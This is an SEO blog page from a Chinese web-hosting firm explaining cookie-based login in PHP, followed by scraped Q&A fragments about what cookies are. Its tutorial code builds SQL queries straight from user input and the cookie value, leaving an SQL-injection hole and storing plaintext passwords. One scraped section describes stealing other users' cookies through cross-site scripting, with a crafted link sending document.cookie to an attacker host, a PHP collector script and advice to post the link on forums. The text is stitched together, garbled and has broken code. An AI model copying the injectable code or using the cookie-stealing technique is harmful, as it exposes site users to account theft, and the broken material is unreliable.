新聞中心
隨著互聯(lián)網技術的飛速發(fā)展,cookie技術成為了常見的用戶身份驗證技術之一。通過各類網站,我們可以看到很多使用cookie機制的網站,如淘寶、京東等大型購物網站。那么,cookie是如何實現(xiàn)登錄驗證、數(shù)據(jù)存儲的呢?在這篇文章中,我們將介紹如何通過cookie機制從數(shù)據(jù)庫中讀取信息。

成都創(chuàng)新互聯(lián)公司堅信:善待客戶,將會成為終身客戶。我們能堅持多年,是因為我們一直可值得信賴。我們從不忽悠初訪客戶,我們用心做好本職工作,不忘初心,方得始終。10年網站建設經驗成都創(chuàng)新互聯(lián)公司是成都老牌網站營銷服務商,為您提供做網站、成都網站建設、網站設計、H5高端網站建設、網站制作、成都品牌網站建設、小程序開發(fā)服務,給眾多知名企業(yè)提供過好品質的建站服務。
一、什么是cookie
cookie是一種鍵值對組成的文本文件,它以識別符的形式存儲在用戶計算機中。與HTTP協(xié)議配合使用,用于記錄用戶訪問過的頁面和使用過的選項或參數(shù),從而實現(xiàn)用戶身份認證、數(shù)據(jù)存儲等功能。用戶在瀏覽網頁時,cookie能夠將信息存儲在本地計算機上,當下一次瀏覽網頁時,網站可以讀取cookie中的信息,識別特定的用戶并為其提供個性化服務。
二、如何將cookie信息存儲在數(shù)據(jù)庫中
為了實現(xiàn)cookie信息的數(shù)據(jù)庫存儲,我們需要對用戶的登錄信息進行驗證,并將相關信息存儲到數(shù)據(jù)庫中。具體實現(xiàn)流程如下:
1. 創(chuàng)建數(shù)據(jù)庫表格
創(chuàng)建一個名為“user”的表格,包含“id”、“username”、“password”三個字段。其中,id是用戶唯一的標識符,username和password為用戶的登錄名和密碼。
2. 驗證用戶登錄信息
當用戶在登錄頁面輸入用戶名和密碼時,我們需要對這些信息進行驗證,以確保用戶的登錄信息正確。驗證的主要方式為查詢數(shù)據(jù)庫。
例如,我們可以使用以下代碼段:
“`php
// 連接數(shù)據(jù)庫
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die(“Connection fled: ” . mysqli_connect_error());
}
// 查詢用戶信息
$sql = “SELECT id, username, password FROM user WHERE username=’$username’ and password=’$password'”;
$result = mysqli_query($conn, $sql);
“`
3. 存儲cookie信息
當用戶登錄成功并且選擇在本地保存登錄狀態(tài)時,我們可以將用戶的相關信息寫入cookie中。這里我們將用戶的id保存在cookie中。
使用以下代碼來實現(xiàn)cookie信息寫入:
“`php
// 存儲cookie信息
setcookie(“user_id”, $row[“id”], time() + 86400, “/”);
“`
其中,setcookie函數(shù)的參數(shù)依次為cookie的鍵、值、過期時間和作用路徑。
三、如何從數(shù)據(jù)庫中讀取cookie信息
當用戶再次瀏覽網頁時,我們需要從cookie中讀取信息并驗證其身份,以下是具體實現(xiàn)過程:
1. 獲取cookie信息
在PHP中,獲取cookie信息的方式非常簡單,只需要使用$_COOKIE全局變量即可。
例如,我們可以使用以下代碼讀取用戶id:
“`php
$user_id = $_COOKIE[‘user_id’];
“`
2. 查詢數(shù)據(jù)庫
讀取用戶id后,我們需要查詢數(shù)據(jù)庫獲取用戶的信息。
例如,我們可以使用以下代碼查詢用戶信息:
“`php
// 連接數(shù)據(jù)庫
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die(“Connection fled: ” . mysqli_connect_error());
}
// 查詢用戶信息
$sql = “SELECT id, username, password FROM user WHERE id=$user_id”;
$result = mysqli_query($conn, $sql);
“`
3. 使用用戶信息提供服務
當我們獲取到用戶信息后,我們可以使用這些信息為用戶提供個性化的服務和服務體驗。
通過本文的介紹,我們知道如何利用cookie從數(shù)據(jù)庫中讀取信息了。當然,cookie還有很多其他的應用,如數(shù)據(jù)緩存、廣告跟蹤等。但無論是哪種應用,都需要有安全的保障,以保護用戶信息的安全。希望本文能對讀者們理解cookie數(shù)據(jù)讀取提供幫助。
相關問題拓展閱讀:
- cookie 是什么?做什么用?
- php怎么把一個值放到cookies里,這個值也不用從數(shù)據(jù)庫讀取,然后再怎么讀取cookie值
- 如何用網頁php獲取進入用戶的cookie。就是我現(xiàn)在有一個網站,別人點擊進入之后,我可以在網站后
cookie 是什么?做什么用?
Cookies最典型的應用是判敏山定注冊用戶是否已經登錄網扒拿蘆站,用戶可能會得到提示,是否在下一次進入此網站時保留用戶信息以便簡化登錄手續(xù),這些都是 Cookies的功用。另一個重要應用場合是“購物車”之類處理。用戶可能會在一段時間內在同一家網站的不同頁面中選擇不同的商品,這些信息都會寫入 Cookies,以便在最后付春帶款時提取信息。
Cookie,有時也用其復數(shù)形式Cookies,指某些網站為了辨別用戶身份而儲存在用戶本地終端上的數(shù)據(jù)卜腔(通常經過加密)。定義于RFC2109。它是網景公司的前雇員Lou Montulli在1993年3月的發(fā)明。
用途
服務器可以利用Cookies包含信息的任意性來篩選并經常性維護這些信息,以判斷在HTTP傳輸中的狀態(tài)。Cookies最典型的應用是判定注冊用戶是否已經登錄網站,用戶可能會得到提示,是否在下一次進入此網站時保留用戶信息以便簡化登錄手續(xù),這些都是Cookies的功用。另一個重要應用場合是“購物車”之類處理。用戶可能會在一段時間內在同一家網站的不同頁面中選擇不同的商品,這些信息都會寫入Cookies,以便在最后付款時提取信息。
使用和禁用Cookie
用戶可以改變?yōu)g覽器的設置,以使用或者禁用Cookies。
微軟 Internet Explorer
工具 > Internet選項 > 隱私頁遲或
調節(jié)滑塊或者點擊“高級”,進行設置.
Mozilla Firefox
工具 > 選項 > 隱私
(注: 在Linux版本中,可能會是如下操作:編輯 > 屬性 > 隱私 , 而Mac則是:Firefox > 屬性 > 隱私)
設置Cookies選項
設定阻止/允許的各個域內Cookie
查看Cookies管理窗口,檢查現(xiàn)存Cookie信息,選擇刪除或者阻止它們
蘋果計算機 Safari
Safari > 預置 > 安全標簽
選擇以下的選項
總是 接受 Cookies
永不 接受 Cookies
接受 Cookies 僅從您瀏覽的站點 (例如,不接受來自其它站點的廣告) 預設的選項.
您可以顯示所有駐留在您瀏覽器中的 cookies,也可隨時將它們之一刪除。
Konqueror
如果沒有設置cookie列表,請記住在域名前面加入“.”,例如.baidu.org,否則百度將不會讀取cookie(針對KDE 3.3)。
生存周期
Cookie可以保持登錄信息到用戶下次與服務器的會話,換句話說,下次訪問同一網站時,用戶會發(fā)現(xiàn)不必輸入用戶名和密碼就已經登錄了(當然,不排除用戶手工刪除Cookie)。而還有一些Cookie在用戶退出會話的時候就被刪除了,這樣可以有效保護個人隱私。
識別功能
如果在一臺計算機中安裝多個瀏覽器,每個瀏覽器都會獨立的空間存放cookie。因為cookie中不但可以確認用戶,還能包含計算機和瀏覽器的信息,所以一個用戶用不同的瀏覽器登錄或者用不同的計算機登錄,都會得到不同的cookie信息,另一方面,對于在同一臺計算機上使用同一瀏覽器的多用戶群,cookie不會區(qū)分他們的身份,除非他們使用不同的用戶名登錄。
反對cookies者
一些人反對cookie在網絡中的應用,他們的理由如下:
識別不精確
參見上面的識別功能
隱私,安全和廣告
Cookies在某種程度上說已經嚴重危及用戶的隱私和安全。其中的一種方法是:一些公司的高層人員為了某種目的(譬如市場調研)而訪問了從未去過的網站(通過搜索引擎查到的),而這些網站包含了一種叫做網頁臭蟲的圖片,該圖片透明,且只有一個象素大小(以便隱藏),它們的作用是將所有訪問過此頁面的計算機寫入cookie。而后,電子商務網站將讀取這些cookie信息,并尋找寫入這些cookie的網站,隨即發(fā)送包含了針對這個網站的相關產品廣告的垃圾郵件給這些高級人員。
因為更具有針對性,使得這套系統(tǒng)行之有效,收到郵件的客戶或多或少表現(xiàn)出對產品的興趣。這些站點一旦寫入cookie并使其運作,就可以從電子商務網站那里獲得報酬,以維系網站的生存。
鑒于隱藏的危害性,瑞典已經通過對cookie立法,要求利用cookie的網站型旦衫必須說明cookie的屬性,并且指導用戶如何禁用cookie。
偷竊Cookie和腳本攻擊
盡管cookie沒有病毒那么危險,但它仍包含了一些敏感信息:用戶名,計算機名,使用的瀏覽器和曾經訪問的網站。用戶不希望這些內容泄漏出去,尤其是當其中還包含有私人信息的時候。
這并非危言聳聽,一種名為Cross site scripting的工具可以達到此目的。在受到Cross site scripting攻擊時,cookie盜賊和cookie毒藥將竊取內容。一旦cookie落入攻擊者手中,它將會重現(xiàn)其價值。
cookie盜賊:搜集用戶cookie并發(fā)給攻擊者的黑客。攻擊者將利用cookie信息通過合法手段進入用戶帳戶。
cookie毒藥:利用安全機制,攻擊者加入代碼從而改寫cookie內容,以便持續(xù)攻擊。
Cookies的替代品
鑒于cookie的局限和反對者的聲音,有如下一些替代方法:
Brownie方案,是一項開放源代碼工程,由SourceForge發(fā)起。Brownie曾被用以共享在不同域中的接入,而cookies則被構想成單一域中的接入。這項方案已經停止開發(fā)。
P,用以讓用戶獲得更多控制個人隱私權利的協(xié)議。在瀏覽網站時,它類似于cookie。
在與服務器傳輸數(shù)據(jù)時,通過在地址后面添加唯一查詢串,讓服務器識別是否合法用戶,也可以避免使用cookie。
cookie的具體含義
cookie 歷來指就著牛奶一起吃的點心。然而,在因特網內,“cookie”這個字有了完全不同的意思。那么“cookie”到底是什么呢?“Cookie”是小量信息,由網絡服務器發(fā)送出來以存儲在網絡瀏覽器上,從而下次這位獨一無二的訪客又回到該網絡服務器時,可從該瀏覽器讀回此信息。這是很有用的,讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費的時間或用戶首選項(如樣式表)。Cookie 是個存儲在瀏覽器目錄的文本文件,當瀏覽器運行時,存儲在 RAM 中。一旦閣下從該網站或網絡服務器退出,Cookie 也可存儲在計算機的硬驅上。I3I.net的打算是,當訪客結束其瀏覽器對話時,即終止I3I.net的所有 cookie。
Cookie 有哪些用途?
Cookie 的用途之一是存儲用戶在特定網站上的密碼和 ID。另外,也用于存儲起始頁的首選項。在提供個人化查看的網站上,將要求閣下的網絡瀏覽器利用閣下計算機硬驅上的少量空間來儲存這些首選項。這樣,每次閣下登錄該網站時,閣下的瀏覽器將檢查閣下是否就該唯一的服務器有任何預先定義的首選項(cookie)。如果有的話,瀏覽器將此 cookie 隨閣下對網頁的請求一起發(fā)送給服務器。Microsoft 和 Netscape 使用 cookie 在其網站上創(chuàng)建個人起始頁。各家公司利用 cookie 的一般用途包括:在線定貨系統(tǒng)、網站個人化和網站跟蹤。
網站個人化是 cookie 最有益的用途之一。例如,當誰來到 CNN 網站,但并不想查看任何商務新聞。網站允許他將該項選為選項。從那時起(或者直到 cookie 逾期),他在訪問 CNN 網頁時將不會讀到商務新聞。
這些 Cookie 是如何起作用的?
文檔的 HTML 代碼中的命令行告訴瀏覽器設置某一名稱或數(shù)值的 cookie。以下是用來設置 cookie 腳本的一個普通實例。
Set-Cookie: name = VALUE;
expires = DATE;
path = PATH;
domain = DOMAIN_NAME;
那么安全性如何?HTTP Cookie 不能用來從閣下的硬驅上檢索個人數(shù)據(jù)、放置病毒、得到閣下的電子郵件地址或偷竊有關閣下身份的敏感信息;然而,HTTP Cookie 可用來跟蹤閣下在特定網站上的所到之處。不使用 cookie 就很難進行網站跟蹤。
至于其他一切與因特網有關的事,如同閣下所希望的那樣是匿名的。沒有網站知道閣下是誰,除非閣下自己透露給網站。同時,cookie 只是為了更好地了解使用模式并改進網站訪客的效率而采用的一個網站跟蹤統(tǒng)計手段而已。
如果網站設計師旨在使網頁能與訪客更具互動作用,或者若設計師計劃讓訪客自定義網站的外觀,則就需要使用 cookie。而且,如果閣下想要網站在某些情況下改變其外觀,cookie 則提供了一條快速、容易的途徑,讓閣下的 HTML 頁面按需要而改變。最新型的服務器使用 cookie 有助于數(shù)據(jù)庫的互動性,進而改進網站的整體互動性。
Cookie在英文中是小甜品的意思,而這個詞我們總能在瀏覽器中看到,食品怎么會跟瀏覽器扯上關系呢?在你瀏覽以前登陸過的網站時可能會在網頁中出現(xiàn):你好XX,感覺很親切,就好像是吃了一個小甜品一樣。這其實是通過訪問你主機里邊的一個文件來實現(xiàn)的,因此這個文件也就被稱為了Cookie。想全面了解Cookie嗎?看看下文吧!
一.了解Cookie 適用對象:初級讀者
Cookie是當你瀏覽某網站時,網站存儲在你機器上的一個小文本文件,它記錄了你的用戶ID,密碼、瀏覽過的網頁、停留的時間等信息,當你再次來到該網站時,網站通過讀取Cookie,得知你的相關信息,就可以做出相應的動作,如在頁面顯示歡迎你的標語,或者讓你不用輸入ID、密碼就直接登錄等等。你可以在IE的“工具/Internet選項”的“常規(guī)”選項卡中,選擇“設置/查看文件”,查看所有保存到你電腦里的Cookie。這些文件通常是以user@domain格式命名的,user是你的本地用戶名,domain是所訪問的網站的域名。如果你使用NetsCape瀏覽器,則存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,與IE不同的是,NETSCAPE是使用一個Cookie 文件記錄所有網站的Cookies。
為了保證上網安全我們需要對Cookie進行適當設置。打開“工具/Internet選項”中的“隱私”選項卡(注意該設置只在IE6.0中存在,其他版本IE可以在“工具/Internet選項”的“安全”標簽中單擊“自定義級別”按鈕,進行簡單調整),調整Cookie的安全級別。通常情況,可以將滑塊調整到“中高”或者“高”的位置。多數(shù)的論壇站點需要使用Cookie信息,如果你從來不去這些地方,可以將安全級調到“阻止所有Cookies”。如果只是為了禁止個別網站的Cookie,可以單擊“編輯”按鈕,將要屏蔽的網站添加到列表中。在“高級”按鈕選項中,你可以對之一方Cookie和第三方的Cookie進行設置,之一方Cookie是你正在瀏覽的網站的Cookie,第三方Cookie非正在瀏覽的網站發(fā)給你的Cookie,通常要對第三方Cookie選擇“拒絕”,如圖1。你如果需要保存Cookie,可以使用IE的“導入導出”功能,打開“文件/導入導出”,按提示操作即可。
Cookie中的內容大多數(shù)經過了加密處理,因此在我們看來只是一些毫無意義的字母數(shù)字組合,只有服務器的CGI處理程序才知道它們真正的含義。通過一些軟件我們可以查看到更多的內容,使用Cookie Pal軟件查看到的Cookie信息,如圖2所示。它為我們提供了Server、Expires、Name、value等選項的內容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和生命期,Name和value字段則是具體的數(shù)據(jù)
二、Cookie的傳遞流程 適用對象:中級讀者
當在瀏覽器地址欄中鍵入了一個Web站點的URL,瀏覽器會向該Web站點發(fā)送一個讀取網頁的請求,并將結果在顯示器上顯示。這時該網頁在你的電腦上尋找Amazon網站設置的Cookie文件,如果找到,瀏覽器會把Cookie文件中的數(shù)據(jù)連同前面輸入的URL一同發(fā)送到Amazon服務器。服務器收到Cookie數(shù)據(jù),就會在他的數(shù)據(jù)庫中檢索你的ID,你的購物記錄、個人喜好等信息,并記錄下新的內容,增加到數(shù)據(jù)庫和Cookie文件中去。如果沒有檢測到Cookie或者你的Cookie信息與數(shù)據(jù)庫中的信息不符合,則說明你是之一次瀏覽該網站,服務器的CGI程序將為你創(chuàng)建新的ID信息,并保存到數(shù)據(jù)庫中。
Cookie是利用了網頁代碼中的HTTP頭信息進行傳遞的,瀏覽器的每一次網頁請求,都可以伴隨Cookie傳遞,例如,瀏覽器的打開或刷新網頁操作。服務器將Cookie添加到網頁的HTTP頭信息中,伴隨網頁數(shù)據(jù)傳回到你的瀏覽器,瀏覽器會根據(jù)你電腦中的Cookie設置選擇是否保存這些數(shù)據(jù)。如果瀏覽器不允許Cookie保存,則關掉瀏覽器后,這些數(shù)據(jù)就消失。Cookie在電腦上保存的時間是不一樣的,這些都是由服務器的設置不同決定得。Cookie有一個Expires(有效期)屬性,這個屬性決定了Cookie的保存時間,服務器可以通過設定Expires字段的數(shù)值,來改變Cookie的保存時間。如果不設置該屬性,那么Cookie只在瀏覽網頁期間有效,關閉瀏覽器,這些Cookie自動消失,絕大多數(shù)網站屬于這種情況。通常情況下,Cookie包含Server、Expires、Name、value這幾個字段,其中對服務器有用的只是Name和value字段,Expires等字段的內容僅僅是為了告訴瀏覽器如何處理這些Cookies。
三、Cookie的編程實現(xiàn) 適用對象:高級讀者
多數(shù)網頁編程語言都提供了對Cookie的支持。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向對象的編程語言中,對Cookie的編程利用基本上是相似的,大體過程為:先創(chuàng)建一個Cookie對象(Object),然后利用控制函數(shù)對Cookie進行賦值、讀取、寫入等操作。那么如何通過代碼來獲取其他用戶Cookie中的敏感信息?下面進行簡單的介紹。
該方法主要有兩步,首先要定位你需要收集Cookie的網站,并對其進行分析,并構造URL;然后編制收集Cookie的PHP代碼,并將其放到你可以控制的網站上,當不知情者單擊了你構造的URL后可以執(zhí)行該PHP代碼。下面我們看具體的實現(xiàn)過程。
1.分析并構造URL
首先打開我們要收集Cookie的網站,這里假設是
,登陸網站輸入用戶名“”(不含引號),對數(shù)據(jù)進行分析抓包,得到形如“
/txl/login/login….x=28&ok.y=6”的代碼,將“”更換為“”再試;如果執(zhí)行成功,就開始構造URL:“
\”%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6″ target=”_blank”>
/txl/login/log ;… swd=&ok.x=28&ok.y=6”。其中
就是你能夠控制的某臺主機上的一個腳本。需要注意的是“%2B”為符號“+”的URL編碼,因為“+”將被作為空格處理。該URL就可以在論壇中發(fā)布,誘使別人點擊了。
2.編制PHP腳本
該腳本的作用就是收集Cookie文件,具體內容如下:
$info = getenv(“QUERY_STRING”;
if ($info) {
$fp = fopen(“info.txt”,”a”;
fwrite($fp,$info.”\n”;
fclose($fp);
}
header(“Location:
\”;
?>
四、Cookie的安全問題 適用對象:所有希望上網安全的讀者
1.Cookie欺騙
Cookie記錄著用戶的帳戶ID、密碼之類的信息,如果在網上傳遞,通常使用的是MD5方法加密。這樣經過加密處理后的信息,即使被網絡上一些別有用心的人截獲,也看不懂,因為他看到的只是一些無意義的字母和數(shù)字。然而,現(xiàn)在遇到的問題是,截獲Cookie的人不需要知道這些字符串的含義,他們只要把別人的Cookie向服務器提交,并且能夠通過驗證,他們就可以冒充受害人的身份,登陸網站。這種方法叫做Cookie欺騙。Cookie欺騙實現(xiàn)的前提條件是服務器的驗證程序存在漏洞,并且冒充者要獲得被冒充的人的Cookie信息。目前網站的驗證程序要排除所有非法登錄是非常困難的,例如,編寫驗證程序使用的語言可能存在漏洞。而且要獲得別人Cookie是很容易的,用支持Cookie的語言編寫一小段代碼就可以實現(xiàn)(具體方法見三),只要把這段代碼放到網絡里,那么所有人的Cookie都能夠被收集。如果一個論壇允許HTML代碼或者允許使用Flash標簽就可以利用這些技術收集Cookie的代碼放到論壇里,然后給帖子取一個吸引人的主題,寫上有趣的內容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至于如何防范,目前還沒有特效藥,我們也只能使用通常的防護方法,不要在論壇里使用重要的密碼,也不要使用IE自動保存密碼的功能,以及盡量不登陸不了解底細的網站。
2.Flash的代碼隱患
php怎么把一個值放到cookies里,這個值也不用從數(shù)據(jù)庫讀取,然后再怎么讀取cookie值
$s=”東籬映雪”;
//賦值
$_COOKIE=$s;
//取值
$_COOKIE;
//這里輸出的值就是“東籬映雪”
echo $_COOKIE;
如何用網頁php獲取進入用戶的cookie。就是我現(xiàn)在有一個網站,別人點擊進入之后,我可以在網站后
cookie是存放氏液碧在本地埋磨的,程序可以讀取,但不能跨機器讀取,所以你可以在用戶訪問頁面或寫cookie時候把cookie數(shù)據(jù)錄入到數(shù)據(jù)殲舉庫來存儲
cookie讀取數(shù)據(jù)庫的介紹就聊到這里吧,感謝你花時間閱讀本站內容,更多關于cookie讀取數(shù)據(jù)庫,如何利用cookie從數(shù)據(jù)庫中讀取信息?,cookie 是什么?做什么用?,php怎么把一個值放到cookies里,這個值也不用從數(shù)據(jù)庫讀取,然后再怎么讀取cookie值,如何用網頁php獲取進入用戶的cookie。就是我現(xiàn)在有一個網站,別人點擊進入之后,我可以在網站后的信息別忘了在本站進行查找喔。
成都網站營銷推廣找創(chuàng)新互聯(lián),全國分站站群網站搭建更好做SEO營銷。
創(chuàng)新互聯(lián)(www.cdcxhl.com)四川成都IDC基礎服務商,價格厚道。提供成都服務器托管租用、綿陽服務器租用托管、重慶服務器托管租用、貴陽服務器機房服務器托管租用。
網頁題目:如何利用cookie從數(shù)據(jù)庫中讀取信息? (cookie讀取數(shù)據(jù)庫)
路徑分享:http://fisionsoft.com.cn/article/dhdejes.html


咨詢
建站咨詢
